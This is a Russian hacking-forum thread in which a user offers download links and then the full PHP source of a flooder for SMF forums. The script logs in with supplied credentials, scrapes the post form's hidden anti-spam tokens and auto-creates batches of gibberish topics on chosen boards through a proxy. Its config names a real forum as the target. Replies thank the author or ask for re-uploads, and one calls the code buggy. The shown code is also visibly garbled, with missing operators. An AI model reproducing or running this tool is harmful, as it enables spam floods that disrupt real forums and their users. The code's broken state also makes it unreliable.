Форумы SMF Flooder

Discussion in 'Уязвимости CMS/форумов' started by Ponchik, 10 Apr 2009.

  1. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    Собстна сабж навеян это темой https://forum.antichat.ru/threadnav115153-1-10.html
    Пытался нагуглить флудер, не нащёл :(
    написал
    Code:
    http://slil.ru/27438312
    http://rapidshare.com/files/219790518/SMF_Flooder_2.rar.html
    http://dump.ru/file/2432381
    Тестировался на SMF 1.1.6, SMF 2.0 RC1

    Что может скрипт писать небуду, вот вам конфиг, сами поймёте
    PHP:
    $debug true#Выводить системные месаги?
    $host 'ipd.ru'#Например localhost
    $dir '/forum/'#например /forum/ или /
    $login 'ololo'
    $pass 'BNDRFBNDRF';
    $proxy_ip 'ipd.ru'#Или прокся или сайт-жертва
    $proxy_port 80;
    $sleep_time 5#задержка секунд между запросами
    $boards = array('6','2'); #Список разделов, где флудить, берётся из URL вида /index.php?board=9.0 => 9
    $count_msg 5#Скоко тем создать, максимальное число 99999999999, тебе хватит :)
    UPD: Сделал и для версии 2.0 RC1
     
    #1 Ponchik, 10 Apr 2009
    Last edited: 10 Apr 2009
    12 people like this.
  2. гейлордфакерЪ

    гейлордфакерЪ Elder - Старейшина

    Joined:
    28 Sep 2006
    Messages:
    416
    Likes Received:
    296
    Reputations:
    -20
    пончь я в тебя влюблён) спасибо за содействие плюсоф тебе не меренно за поддержку и застраченое время
     
  3. BenZeR

    BenZeR New Member

    Joined:
    18 Feb 2008
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Спасибо, сейчас поковыряюсь ;)
     
  4. DasBoot

    DasBoot New Member

    Joined:
    5 Aug 2009
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Можно перезалить?
     
  5. lobzik203

    lobzik203 New Member

    Joined:
    3 Apr 2009
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    у кого он остался, перезалейте пожалста.
     
  6. Alexeyco

    Alexeyco New Member

    Joined:
    3 Nov 2009
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Пожалуйста, перезалейте этого бота... очень надо
     
  7. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    Уже несколько раз просили, нашёл наконецто
    Надеюсь это он :eek:

    PHP:
    <?php
    #SMF 1.1.6 flooder by Ponchik
    #forum.antichat.ru
    set_time_limit(0);

    $debug true#Выводить системные месаги?
    $host 'hackhound.org'#Например localhost
    $dir '/forum/'#например /forum/ или /
    $login 'ololo';
    $pass 'qwertyuiop';
    $proxy_ip 'hackhound.org'#Или прокся или сайт-жертва
    $proxy_port 80;
    $sleep_time 15#задержка секунд между запросами
    $boards = array('34'); #Список разделов, где флудить, берётся из URL вида /index.php?board=9.0 => 9
    $count_msg 10#Скоко тем создать, максимальное число 99999999999, тебе хватит :)

    function genTheme() { #Гененируем тему, меняйте на чё хотите
        
    $g 'eyuioa';
        
    $s 'qwrtpsdfghjklzxcvbnm';
        
    $len rand(10,40);
        
    $theme '';
        for(
    $i=rand(0,1);$i<$len;$i++) {
            if(!
    rand(0,5)) $theme .= ' ';
            if(
    $i%2$theme .= $g[rand(0,strlen($g)-1)];
            else 
    $theme .= $s[rand(0,strlen($s)-1)];
        }
        return 
    trim($theme);
    }

    function 
    genMessage() { #Гененируем месагу
        
    $g 'eyuioa';
        
    $s 'qwrtpsdfghjklzxcvbnm';
        
    $len rand(100,500);
        
    $theme '';
        for(
    $i=rand(0,1);$i<$len;$i++) {
            if(!
    rand(0,5)) $theme .= ' ';
            if(
    $i%2$theme .= $g[rand(0,strlen($g)-1)];
            else 
    $theme .= $s[rand(0,strlen($s)-1)];
        }
        return 
    trim($theme);
    }

    ###########################Поехали############################
    #Да, можно былбы CURL и т.д. но мну так всё нравица

    $login urlencode($login);
    $pass urlencode($pass);

    if(
    $debug) echo "Иду на пагу<br>\r\n";

    do {
        
    $fp fsockopen($proxy_ip$proxy_port$errno$errstr30);
    } while(!
    $fp);

    $post "user=$login&passwrd=$pass&cookieneverexp=on&hash_passwrd=";

    $out "POST http://{$host}{$dir}index.php?action=login2 HTTP/1.0\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Referer: http://{$host}{$dir}index.php?action=login2\r\n";
    $out .= "Proxy-Connection: Close\r\n";
    $out .= "Content-Length: ".strlen($post)."\r\n";
    $out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n$post\r\n\r\n";

    fwrite($fp$out);
    $ans '';
    while (!
    feof($fp)) {
        
    $ans .= fgets($fp128);
    }
    fclose($fp); file_put_contents('C:\rfgsdfsdf.html',$ans);

    preg_match_all("|.*Set-Cookie: (.*)=(.*);.*|U"$ans$out);

    $cookies = array();
    for(
    $i=0;$i<count($out[1]);$i++) { #Да, да, тупо тута получилось, можно бюло переделать регулярку, но мне лень (:
        
    $cookies[] = $out[1][$i].'='.$out[2][$i].';';
    }
    $cookies implode(' ',$cookies)or die('Немогу залогиниться');
    if(
    $debug) echo "Успешно залогинился<br>\r\n";

    do {
        
    $fp fsockopen($proxy_ip$proxy_port$errno$errstr30);
    } while(!
    $fp);

    $out "GET http://{$host}{$dir}index.php HTTP/1.0\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Cookie: $cookies\r\n";
    $out .= "Proxy-Connection: Close\r\n\r\n";

    fwrite($fp$out);
    $ans '';
    while (!
    feof($fp)) {
        
    $ans .= fgets($fp128);
    }
    fclose($fp);

    if(
    $debug) echo "Готовлюсь к атаке :)<br>\r\n";
    sleep($sleep_time);
    #####################################
    for($i=1;$i<=$count_msg;$i++) {
        
    shuffle($boards);
        
    $board $boards[0];

        if(
    $debug) echo "$i/$count_msg) Создаю тему в разделе $board<br>\r\n";

        do {
            
    $fp fsockopen($proxy_ip$proxy_port$errno$errstr30);
        } while(!
    $fp);

        
    $out "GET http://{$host}{$dir}index.php?action=post;board={$board}.0 HTTP/1.0\r\n";
        
    $out .= "Host: $host\r\n";
        
    $out .= "Cookie: $cookies\r\n";
        
    $out .= "Proxy-Connection: Close\r\n\r\n";

        
    fwrite($fp$out);
        
    $ans '';
        while (!
    feof($fp)) {
            
    $ans .= fgets($fp128);
        }
        
    fclose($fp);

        
    preg_match_all('|.*\<input type\="hidden" name\="(.*)" value\="(.*)" /\>.*|U'$ans$out);
        for(
    $i=0;$i<count($out[1]);$i++) {
            if(
    $out[1][$i] == 'seqnum') {
                
    $seqnum $out[2][$i];
                
    $secname $out[1][$i-1];
                
    $secval $out[2][$i-1];
            }
        }

        
    sleep($sleep_time);

        do {
            
    $fp fsockopen($proxy_ip$proxy_port$errno$errstr30);
        } while(!
    $fp);
        
    $theme urlencode(genTheme());
        
    $message urlencode(genMessage());

        
    $post "topic=0&subject=$theme&icon=xx&message=$message&notify=0&lock=0&goback=1&attachment%5B%5D=&attachment%5B%5D=&post=%CE%F2%EF%F0%E0%E2%E8%F2%FC&additional_options=0&$secname=$secval&seqnum=$seqnum";

        
    $out "POST http://{$host}{$dir}index.php?action=post2;start=0;board={$board} HTTP/1.0\r\n";
        
    $out .= "Host: $host\r\n";
        
    $out .= "Referer: http://$host/forum/index.php?action=post;board={$board}.0\r\n";
        
    $out .= "Cookie: $cookies\r\n";
        
    $out .= "Proxy-Connection: Close\r\n";
        
    $out .= "Content-Length: ".strlen($post)."\r\n";
        
    $out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n$post\r\n\r\n";

        
    fwrite($fp$out);
        
    $ans '';
        while (!
    feof($fp)) {
            
    $ans .= fgets($fp128);
        }
        
    fclose($fp);
        
    file_put_contents('C:\\'.time().'.html',$out);
        
    sleep($sleep_time);
    }
    ?>
     
    #7 Ponchik, 27 Apr 2010
    Last edited: 27 Apr 2010
    2 people like this.
  8. Center61

    Center61 New Member

    Joined:
    16 Sep 2009
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Не то, баги сплошные :(